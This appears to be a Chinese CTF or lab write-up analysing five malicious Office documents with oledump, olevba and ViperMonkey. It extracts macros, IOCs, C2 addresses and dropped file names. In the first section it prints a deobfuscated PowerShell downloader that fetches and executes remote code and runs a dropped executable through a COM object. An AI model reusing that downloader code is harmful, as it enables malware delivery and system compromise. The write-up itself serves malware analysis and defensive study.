准备工作
点进去发现有五个doc
文档,分别是attacker1-5
,可以考虑开一个python
服务器把文件导出来引入一个很好的工具
oledump
,其用于分析复合二进制格式的文件 (.doc .xls .ppt) 中包含的数据流,而 .docx .xlsx则是新的文件格式(ZIP内的xml)
attacker1
先检查数据流:
其中前面标有
M
的表示该流包含VBA
宏根据文档,使用
-s [流编号]
输出指定流的内容,-v
输出vba
宏代码那么有宏的流为
8
,名称为ThisDocument
可以看到代码被混淆了,扔给ai,分析出来是利用
autoopen()
在word打开时执行powershell指令来下载恶意脚本,其中注意到这句:1
Trim(Replace(pNHbvwXpnbZvS.AlternativeText + "", "[", "A"))
其将所有
[
替换为A
看看别的流,用
-S
仅输出字符串而不输出16进制这里有手机号
213-446-1757
而对于数据流4,其中有一个混淆过的
powershell
命令,而其中恰有一堆[
解码一下,注意要删掉零字节:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){
if($m.Name -eq "DownloadString"){
try{
$uri = New-Object System.Uri("http://176.32.35.16/704e.php")
IEX($m.Invoke($instance, ($uri)));
}catch{}
}
if($m.Name -eq "DownloadData"){
try{
$uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
$response = $m.Invoke($instance, ($uri));
$path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
[System.IO.File]::WriteAllBytes($path, $response);
$clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)
$object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)
}catch{}
}
}
Exit;拿到
C2
域中下载的文件fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas
,想要生成的文件QdZGP.exe
,ip和php页面176.32.35.16/704e.php
对于投放的文件夹,显然和
$path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe"
有关,搜了一下在C:\ProgramData
,即%ProgramData%
想要连接的
com
的名称借助这个网址搜clsid
得到:ShellBrowserWindow
根据
hint
用olevba
得到autoexec
用
file
拿到subject
和日期:West Virginia Samanta
日期需要用
oletimes
来看,和file
看的差30秒2019-02-07 23:45:30
attacker2
故技重施得到
携带宏的是
12, 13, 14, 16
-i
参数输出关于流的信息引入另一个工具 olevba
用
grep
读取里面的fun
内容同样,
olevba
末尾的表格会帮你总结出一些东西两个域名,第一个dll名称和dll个数都在这里
继续用
grep 'dll'
找到其的路径以及用来运行dll的文件名睡眠时长那里需要
grep 'Sleep'
才行从哪个流的话就
grep 'stream'
,真是酣畅淋漓的解密啊attacker3
要下载的可执行程序名,故技重施
grep 'exe'
让
olevba
分析得到:即运行1.exe的程序是
certutil
,存放到programdata
,该流VBA/T是A3
恶意url那个在LG后面那堆加密的里面,引入一个新工具 vipermonkey,注意用
python2
启动attacker4
olevba
看一下,锁定到这里:被丢弃的文件应该是最后一个,那么就是这个
同理得到
\DYIATHUQLCW.exe
然后
vmonkey
启动:全秒了。。。
attacker5
恶意文档的标题,用
oledump
一个个看:然后直接vmonkey启动,分析出来一长串加密的powershell命令,试了试是base64
还有加密,再扔回去,自动识别出是
gzip
:异或的十进制:
用这个作为密钥勉强解密出其上面那段powershell命令
拿到
C2:176.103.56.89
UA:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
这确实是一个shell文件,需要下到本地用
shellcodedebugger
来做这玩意找了半天只有windows的gui版:http://sandsprite.com/CodeStuff/scdbg.zip
把下载的
.dat
扔进去,那个/SjMR
是存的路径。。。